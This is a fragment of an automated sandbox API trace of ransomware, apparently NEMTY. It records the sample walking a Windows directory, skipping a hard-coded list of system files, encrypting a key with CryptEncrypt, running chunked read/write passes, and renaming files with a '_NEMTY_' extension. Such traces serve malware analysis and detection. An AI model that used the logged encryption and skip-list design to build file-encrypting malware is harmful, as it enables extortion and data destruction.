lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0107.935] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0107.935] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0107.935] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.935] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ae5b48, ftCreationTime.dwHighDateTime=0x1ca0400, ftLastAccessTime.dwLowDateTime=0x72ae5b48, ftLastAccessTime.dwHighDateTime=0x1ca0400, ftLastWriteTime.dwLowDateTime=0x72ada55, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x196b56, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="TableTextServiceSimplifiedQuanPin.txt", cAlternateFileName="")) returned 1 [0107.935] lstrcmpiW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2=".") returned 1 [0107.935] lstrcmpiW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2="..") returned 1 [0107.935] lstrcmpiW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2="...") returned 1 [0107.935] lstrcmpiW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2="windows") returned -1 [0107.935] lstrcmpiW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2="$RECYCLE.BIN") returned 1 [0107.935] lstrcmpiW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2="rsa") returned 1 [0107.935] lstrcmpiW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2="NTDETECT.COM") returned 1 [0107.935] lstrcmpiW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2="ntldr") returned 1 [0107.935] lstrcmpiW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2="MSDOS.SYS") returned 1 [0107.935] lstrcmpiW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2="IO.SYS") returned 1 [0107.935] lstrcmpiW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2="boot.ini") returned 1 [0107.935] lstrcmpiW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2="boot.ini") returned 1 [0107.935] lstrcmpiW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2="AUTOEXEC.BAT") returned 1 [0107.935] lstrcmpiW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2="ntuser.dat") returned 1 [0107.935] lstrcmpiW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2="desktop.ini") returned 1 [0107.935] lstrcmpiW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2="CONFIG.SYS") returned 1 [0107.935] lstrcmpiW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2="RECYCLER") returned 1 [0107.935] lstrcmpiW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2="BOOTSECT.BAK") returned 1 [0107.935] lstrcmpiW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2="bootmgr") returned 1 [0107.935] lstrcmpiW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2="programdata") returned 1 [0107.935] lstrcmpiW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2="appdata") returned 1 [0107.935] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94088 [0107.935] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextServiceSimplifiedQuanPin.txt", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0107.935] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0107.935] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextServiceSimplifiedQuanPin.txt", cchWideChar=37, lpMultiByteStr=0x6345608, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TableTextServiceSimplifiedQuanPin.txt", lpUsedDefaultChar=0x0) returned 37 [0107.935] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0107.935] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f940e0 [0107.935] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextServiceSimplifiedQuanPin.txt", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0107.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0107.936] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextServiceSimplifiedQuanPin.txt", cchWideChar=37, lpMultiByteStr=0x6345608, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TableTextServiceSimplifiedQuanPin.txt", lpUsedDefaultChar=0x0) returned 37 [0107.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0107.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f940e0 | out: hHeap=0x4f90000) returned 1 [0107.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0107.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94088 [0107.936] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextServiceSimplifiedQuanPin.txt", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0107.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0107.936] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextServiceSimplifiedQuanPin.txt", cchWideChar=37, lpMultiByteStr=0x6345608, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TableTextServiceSimplifiedQuanPin.txt", lpUsedDefaultChar=0x0) returned 37 [0107.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0107.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94088 [0107.936] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextServiceSimplifiedQuanPin.txt", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0107.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0107.936] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextServiceSimplifiedQuanPin.txt", cchWideChar=37, lpMultiByteStr=0x6345640, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TableTextServiceSimplifiedQuanPin.txt", lpUsedDefaultChar=0x0) returned 37 [0107.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0107.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94088 [0107.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0107.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94140 [0107.936] Sleep (dwMilliseconds=0x5) [0107.950] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf3fd6fb0, dwHighDateTime=0x1d561e7)) [0107.950] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf3fd6fb0, dwHighDateTime=0x1d561e7)) [0107.950] GetLastError () returned 0x5 [0107.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0107.950] GetLastError () returned 0x5 [0107.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.950] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0107.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0107.950] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0107.950] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0107.950] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0107.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f941f8 [0107.950] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f941f8, pcchString=0x653ef9c | out: pszString="sXOXbLxvE/bovzTk5RzJQ/MPCqE4IQaYkmHTPUzxcpOCtJWagGO3p2Pi/zK0rNYh\r\nunrzoxve6e+dvophVi5y4SZwse2bBp6QkMP9QZwEHfUBNbgB8yHDBUnCXGLkzM8Y\r\nJdMuhjbaK0yHh4eqxE0a0smCPeUj/BB+PRzoYroMVqeK1Dkm77xcMVjnkN/1xruy\r\n5MoMk97Vnv9e4O7bZ+KSGxBUZfcbktLRE6isEfZCJFw96zy6NlagjtnqZ8VJQDdh\r\nKt3UStEJHgOLS02V3XGYEw7ErES0wsthBajhUso58bIt8KNpv8YuSLdemzA0qcAW\r\nVWOjjWDKOH7pwSH+Ex+Swg==\r\n", pcchString=0x653ef9c) returned 1 [0107.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0107.950] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941f8 | out: hHeap=0x4f90000) returned 1 [0107.950] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0107.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0107.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f941f8 [0107.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0107.950] CreateFileW (lpFileName="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceSimplifiedQuanPin.txt" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservicesimplifiedquanpin.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.951] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0107.951] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0107.951] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.951] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0107.960] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.960] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0107.961] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.961] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0107.970] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.970] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0107.970] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.970] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0107.979] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.979] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0107.979] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.979] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0107.988] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.988] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0107.988] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.988] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0107.998] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.998] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0107.998] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.998] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.007] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.007] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.007] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.007] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.016] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.017] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.017] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.017] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.026] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.026] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.026] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.026] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.036] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.036] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.036] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.036] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.045] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.045] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.045] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.045] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.052] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.052] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.053] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.053] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.059] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.059] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.059] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.059] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f941f8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.059] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0108.059] CloseHandle (hObject=0xffffffff) returned 0 [0108.059] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94368 [0108.059] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0108.059] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0108.059] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0108.060] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0108.060] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0108.060] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0108.060] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340100 [0108.060] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0108.060] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0108.060] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceSimplifiedQuanPin.txt" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservicesimplifiedquanpin.txt"), lpNewFileName="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceSimplifiedQuanPin.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservicesimplifiedquanpin.txt._nemty_kgobjgd_")) returned 0 [0108.060] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0108.060] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94368 | out: hHeap=0x4f90000) returned 1 [0108.060] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0108.060] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941f8 | out: hHeap=0x4f90000) returned 1 [0108.060] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0108.060] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0108.060] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.060] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94140 | out: hHeap=0x4f90000) returned 1 [0108.060] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0108.060] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0108.060] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b57f5f, ftCreationTime.dwHighDateTime=0x1ca0400, ftLastAccessTime.dwLowDateTime=0x72b57f5f, ftLastAccessTime.dwHighDateTime=0x1ca0400, ftLastWriteTime.dwLowDateTime=0x736c12b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x160e36, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="TableTextServiceSimplifiedShuangPin.txt", cAlternateFileName="")) returned 1 [0108.060] lstrcmpiW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2=".") returned 1 [0108.060] lstrcmpiW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2="..") returned 1 [0108.060] lstrcmpiW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2="...") returned 1 [0108.060] lstrcmpiW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2="windows") returned -1 [0108.060] lstrcmpiW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2="$RECYCLE.BIN") returned 1 [0108.060] lstrcmpiW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2="rsa") returned 1 [0108.060] lstrcmpiW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2="NTDETECT.COM") returned 1 [0108.060] lstrcmpiW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2="ntldr") returned 1 [0108.060] lstrcmpiW 